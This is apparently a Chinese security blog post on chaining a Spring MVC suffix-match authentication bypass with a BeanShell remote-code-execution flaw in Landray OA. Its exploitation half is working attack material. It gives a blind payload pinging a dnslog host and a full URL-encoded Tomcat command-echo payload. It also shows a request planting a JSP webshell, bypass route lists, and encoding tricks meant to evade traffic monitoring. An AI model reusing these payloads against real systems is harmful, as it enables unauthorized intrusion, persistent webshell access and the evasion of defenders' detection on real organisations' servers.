漏洞说明
这里实际上是两个漏洞,一个springboot
的权限绕过漏洞,一个是bsh rce
漏洞。
漏洞分析
springboot权限绕过分析
(你的蓝凌OA中springmvc是哪个版本,你就用哪个版本分析)
spring-webmvc-5.0.19.RELEASE.jar!\org\springframework\web\servlet\mvc\condition\PatternsRequestCondition.class
在spring-webmvc 5.0.19
中useSuffixPatternMatch
的值默认是true
,通过idea
调试springmvc
的代码后发现,此处fileExtensions
的值为0
,所以进入到else
的逻辑中(此处逻辑返回的是忽略匹配后缀的规则),也就是说springmvc
会去掉后缀并寻找与之相匹配的handler
。

这里看一下蓝凌OA的spring-security
配置信息
WEB-INF/KmssConfig/sys/authentication/spring.xml
从配置文件可知,所有的静态资源的后缀文件,只需要走resourceCacheFilter
,不需要被权限鉴别。

这两点结合来说,就是蓝凌OA的springboot
路由添加以上静态资源的后缀,会不需要权限鉴别; 并且由于useSuffixPatternMatch
的值为true
,会导致springmvc
去掉后缀,并匹配到相应的handler
。
未添加静态资源后缀时,被鉴权。

添加静态资源后缀时,权限被绕过。

rce漏洞分析
存在漏洞的路由/data/sys-common/treexml.tmpl
com.landray.kmss.common.actions.DataController
SpringBeanUtil
获取bean
时,被转换成了IXMLDataBean

当s_bean=ruleFormulaValidate
时
com.landray.kmss.sys.rule.web.ruleFormulaValidate
ruleFormulaValidate
实现接口IXMLDataBean

此时发现script
被传递到了parseValueScript
方法中
此时去寻找RuleEngineParser
对象的声明,以及该parseValueScript
方法的具体实现。
com.landray.kmss.sys.rule.parser.RuleEngineParser


在bsh
中,interpreter.eval()
可以用来动态执行java代码,并且m_script
的值是由script
传递过来的。
因此m_script
的值,完全可控,因此导致了bsh
代码执行漏洞。
漏洞利用
互联网流传payload
https://github.com/tangxiaofeng7/Landray-OA-Treexml-Rce
1 2
| try {String cmd = "ping 123.dnslog.cn";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);}
|
这段payload
只能用来盲打,不方便回显。
回显利用
https://github.com/feihong-cs/Java-Rce-Echo/tree/master/Tomcat/code
1 2 3 4 5 6 7 8
| POST /data/sys-common/treexml.tmpl HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Cmd: echo 123456 Content-Type: application/x-www-form-urlencoded Content-Length: 6457 s_bean=ruleFormulaValidate&script=boolean%20flag%20%3D%20false%3B%0A%20%20%20%20ThreadGroup%20group%20%3D%20Thread.currentThread().getThreadGroup()%3B%0A%20%20%20%20java.lang.reflect.Field%20f%20%3D%20group.getClass().getDeclaredField(%22threads%22)%3B%0A%20%20%20%20f.setAccessible(true)%3B%0A%20%20%20%20Thread%5B%5D%20threads%20%3D%20(Thread%5B%5D)%20f.get(group)%3B%0A%20%20%20%20for(int%20i%20%3D%200%3B%20i%20%3C%20threads.length%3B%20i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20try%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20Thread%20t%20%3D%20threads%5Bi%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(t%20%3D%3D%20null)%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20String%20str%20%3D%20t.getName()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(str.contains(%22exec%22)%20%7C%7C%20!str.contains(%22http%22))%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20f%20%3D%20t.getClass().getDeclaredField(%22target%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20f.setAccessible(true)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20Object%20obj%20%3D%20f.get(t)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(!(obj%20instanceof%20Runnable))%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20f%20%3D%20obj.getClass().getDeclaredField(%22this%240%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20f.setAccessible(true)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20obj%20%3D%20f.get(obj)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20try%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f%20%3D%20obj.getClass().getDeclaredField(%22handler%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7Dcatch%20(NoSuchFieldException%20e)%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f%20%3D%20obj.getClass().getSuperclass().getSuperclass().getDeclaredField(%22handler%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20f.setAccessible(true)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20obj%20%3D%20f.get(obj)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20try%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f%20%3D%20obj.getClass().getSuperclass().getDeclaredField(%22global%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7Dcatch(NoSuchFieldException%20e)%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f%20%3D%20obj.getClass().getDeclaredField(%22global%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20f.setAccessible(true)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20obj%20%3D%20f.get(obj)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20f%20%3D%20obj.getClass().getDeclaredField(%22processors%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20f.setAccessible(true)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20java.util.List%20processors%20%3D%20(java.util.List)(f.get(obj))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20for(int%20j%20%3D%200%3B%20j%20%3C%20processors.size()%3B%20%2B%2Bj)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Object%20processor%20%3D%20processors.get(j)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f%20%3D%20processor.getClass().getDeclaredField(%22req%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f.setAccessible(true)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Object%20req%20%3D%20f.get(processor)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Object%20resp%20%3D%20req.getClass().getMethod(%22getResponse%22%2C%20new%20Class%5B0%5D).invoke(req%2C%20new%20Object%5B0%5D)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20str%20%3D%20(String)req.getClass().getMethod(%22getHeader%22%2C%20new%20Class%5B%5D%7BString.class%7D).invoke(req%2C%20new%20Object%5B%5D%7B%22cmd%22%7D)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(str%20!%3D%20null%20%26%26%20!str.isEmpty())%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20resp.getClass().getMethod(%22setStatus%22%2C%20new%20Class%5B%5D%7Bint.class%7D).invoke(resp%2C%20new%20Object%5B%5D%7Bnew%20Integer(200)%7D)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20String%5B%5D%20cmds%20%3D%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20%3F%20new%20String%5B%5D%7B%22cmd.exe%22%2C%20%22%2Fc%22%2C%20str%7D%20%3A%20new%20String%5B%5D%7B%22%2Fbin%2Fsh%22%2C%20%22-c%22%2C%20str%7D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20byte%5B%5D%20result%20%3D%20(new%20java.util.Scanner((new%20ProcessBuilder(cmds)).start().getInputStream())).useDelimiter(%22%5C%5CA%22).next().getBytes()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Class%20cls%20%3D%20Class.forName(%22org.apache.tomcat.util.buf.ByteChunk%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20obj%20%3D%20cls.newInstance()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20cls.getDeclaredMethod(%22setBytes%22%2C%20new%20Class%5B%5D%7Bbyte%5B%5D.class%2C%20int.class%2C%20int.class%7D).invoke(obj%2C%20new%20Object%5B%5D%7Bresult%2C%20new%20Integer(0)%2C%20new%20Integer(result.length)%7D)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20resp.getClass().getMethod(%22doWrite%22%2C%20new%20Class%5B%5D%7Bcls%7D).invoke(resp%2C%20new%20Object%5B%5D%7Bobj%7D)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20(NoSuchMethodException%20var5)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Class%20cls%20%3D%20Class.forName(%22java.nio.ByteBuffer%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20obj%20%3D%20cls.getDeclaredMethod(%22wrap%22%2C%20new%20Class%5B%5D%7Bbyte%5B%5D.class%7D).invoke(cls%2C%20new%20Object%5B%5D%7Bresult%7D)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20resp.getClass().getMethod(%22doWrite%22%2C%20new%20Class%5B%5D%7Bcls%7D).invoke(resp%2C%20new%20Object%5B%5D%7Bobj%7D)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20flag%20%3D%20true%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(flag)%20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(flag)%20%20break%3B%0A%20%20%20%20%20%20%20%20%7Dcatch(Exception%20e)%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D
|

命令执行失败,回显,猜测是有杀软或者环境变量问题的,windows
系统whoami
好像是都失败了。

写webshell
蓝凌在写webshell
时要注意webshell
的解析问题
网站根目录下login_xxx.jsp
形式的webshell
以及/resource/
目录下的jsp webshell
会解析
这里以输出123456
为例

1 2 3 4 5 6 7
| POST /data/sys-common/treexml.tmpl HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 486 s_bean=ruleFormulaValidate&script=import%20java.lang.*;import%20java.io.*;Class%20cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");String%20path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File%20f=new%20File(path.split("WEB-INF")[0]%2B"/resource/123456.jsp");f.createNewFile();FileOutputStream%20fout=new%20FileOutputStream(f);fout.write(new%20sun.misc.BASE64Decoder().decodeBuffer("PCVvdXQucHJpbnQoMTIzNDU2KTslPg=="));fout.close();
|


流量绕过
根据互联网上流传的一张图上说,科来全流量里搜特征:/data/sys-common/treexml.tmpl
和exec(cmd)
。

那么现在也就是对这几个特征进行绕过。
路由后缀绕过
根据前面的分析,以及互联网上流传的漏洞路由可知。当路由为以下几个时,可能会被绕过。
1 2 3 4 5 6 7 8
| /data/sys-common/treexml.gif /data/sys-common/treexml.jpg /data/sys-common/treexml.png /data/sys-common/treexml.bmp /data/sys-common/treexml.ico /data/sys-common/treexml.css /data/sys-common/treexml.js /data/sys-common/treexml.html
|

路由绕过
1 2 3 4 5 6 7 8
| /data/sys-common/dataxml.gif /data/sys-common/dataxml.jpg /data/sys-common/dataxml.png /data/sys-common/dataxml.bmp /data/sys-common/dataxml.ico /data/sys-common/dataxml.css /data/sys-common/dataxml.js /data/sys-common/dataxml.html
|

1 2 3 4 5 6 7 8
| /data/sys-common/datajson.gif /data/sys-common/datajson.jpg /data/sys-common/datajson.png /data/sys-common/datajson.bmp /data/sys-common/datajson.ico /data/sys-common/datajson.css /data/sys-common/datajson.js /data/sys-common/datajson.html
|

截图中的代码已经很清晰了,这两个路由均能触发bsh rce
。
关键字绕过
直接对tomcat
通用回显链的代码段进行unicode
编码。


此时还有特征,即请求头参数是cmd
,参数值是命令,那就换参数,并对参数进行编码操作。

不过经过测试发现,这种通过base64编码
,然后命令执行的方式,有较大几率命令执行会失败,暂时不知道原因。
后续
所以在蓝凌OA
的springmvc
其他路由产生的漏洞,也能通过静态资源链
,将漏洞从后台授权
变成前台未授权
。